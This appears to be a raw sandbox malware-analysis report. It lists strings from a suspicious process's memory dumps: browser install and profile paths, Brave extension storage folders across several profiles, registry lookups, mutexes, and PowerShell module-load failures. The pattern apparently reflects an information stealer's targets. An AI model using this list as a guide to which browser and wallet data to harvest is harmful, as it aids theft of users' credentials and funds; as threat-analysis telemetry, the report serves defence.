Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Stable" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\bfnaoomepdephakilknabebedabbakib" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\bfnaoomepdephakilknabebedabbakib" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp4b:T56c,Process PLA6A1.tmp created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process PLA6A1.tmp created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process PLA6A1.tmp created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3036:304:WilStaging_02" Process PLA6A1.tmp created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3036:120:WilError_01" Process PLA6A1.tmp created mutex with name "Local\ZonesCacheCounterMutex" Process PLA6A1.tmp created mutex with name "Local\SM0:3036:304:WilStaging_02" Process PLA6A1.tmp created mutex with name "Local\ZonesLockedCacheCounterMutex" Process PLA6A1.tmp created mutex with name "SM0:3036:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7464:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7464:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7464:120:WilError_01" Process powershell.exe created mutex with name "SM0:7464:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7464:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7464:120:WilError_01"4c:Tc49,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]4d:T4d2c,"SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinSAT" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Opera Software\Opera Stable" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Stable" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\bfnaoomepdephakilknabebedabbakib" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 2\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\bfnaoomepdephakilknabebedabbakib" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Profile 3\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00007000.00000000.154535.17881000.00000020.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007000.00000000.154535.4D6B0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007464.00000000.154870.3B16A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed 